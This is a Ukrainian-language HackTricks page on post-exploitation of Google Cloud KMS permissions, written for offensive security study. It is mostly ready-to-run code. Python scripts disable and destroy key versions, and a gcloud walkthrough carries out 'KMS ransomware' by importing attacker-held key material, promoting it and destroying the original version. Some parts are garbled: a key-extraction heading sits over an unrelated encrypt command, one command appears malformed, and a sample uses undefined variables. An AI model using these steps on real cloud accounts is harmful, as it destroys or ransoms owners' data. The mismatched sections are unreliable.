GCP - KMS Post Exploitation

Підтримайте HackTricks

KMS

Знайдіть базову інформацію про KMS у:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

Атакуючий з цим дозволом може знищити версію KMS. Для цього спочатку потрібно відключити ключ, а потім знищити його:

# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

KMS Ransomware

В AWS можливо повністю вкрасти ключ KMS, змінивши політику ресурсів KMS і дозволивши використовувати ключ лише обліковому запису атакуючого. Оскільки такі політики ресурсів не існують у GCP, це неможливо.

Однак, існує інший спосіб виконати глобальний KMS Ransomware, який включає наступні кроки:

  • Створити нову версію ключа з матеріалом ключа, імпортованим атакуючим

gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • Встановіть його як версію за замовчуванням (для майбутніх даних, що шифруються)

  • Перешифруйте старі дані, зашифровані попередньою версією, новою.

  • Видаліть ключ KMS

  • Тепер тільки атакуючий, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані

Ось кроки для імпорту нової версії та відключення/видалення старих даних:

# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc

# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -


# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"

# Generate key material
openssl rand -out my-key-material.bin 32

# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin

# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key

# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2

# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -

# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1

# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1

cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation

Ці дозволи дозволяють зловмиснику використовувати ключ для шифрування даних. Це може бути використано для шифрування даних, які зловмисник хоче зберегти в зашифрованому вигляді, або для створення нових зашифрованих даних, які можуть бути використані в подальших атаках.

Витягнення ключів шифрування

Зловмисник може використовувати ці дозволи для витягнення ключів шифрування, які можуть бути використані для шифрування або дешифрування даних. Це може бути корисно для зловмисника, який хоче отримати доступ до зашифрованих даних або зберегти свої власні дані в зашифрованому вигляді.

gcloud kms keys versions encrypt --location=global --keyring=my-keyring --key=my-key --plaintext-file=plaintext.txt --ciphertext-file=ciphertext.txt

Використання ключів для шифрування даних

Зловмисник може використовувати ці дозволи для шифрування даних, які він хоче зберегти в зашифрованому вигляді. Це може бути корисно для зловмисника, який хоче зберегти свої власні дані в зашифрованому вигляді або створити нові зашифровані дані для подальших атак.

gcloud kms keys versions encrypt --location=global --keyring=my-keyring --key=my-key --plaintext-file=plaintext.txt --ciphertext-file=ciphertext.txt
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

Опис

Цей дозвіл дозволяє користувачам підписувати дані за допомогою ключа.

Потенційне зловживання

Атакуючий може використовувати цей дозвіл для підпису даних, що може бути використано для створення підроблених цифрових підписів або для обходу механізмів аутентифікації.

Виявлення

Перевірте журнали аудиту для виявлення незвичайної активності підпису даних, особливо якщо це відбувається з облікових записів, які зазвичай не виконують такі дії.

Пом'якшення

Обмежте цей дозвіл лише тим користувачам, яким він дійсно необхідний. Регулярно перевіряйте та оновлюйте політики доступу.

import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)

cloudkms.cryptoKeyVersions.useToVerify

from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
Підтримайте HackTricks

Last updated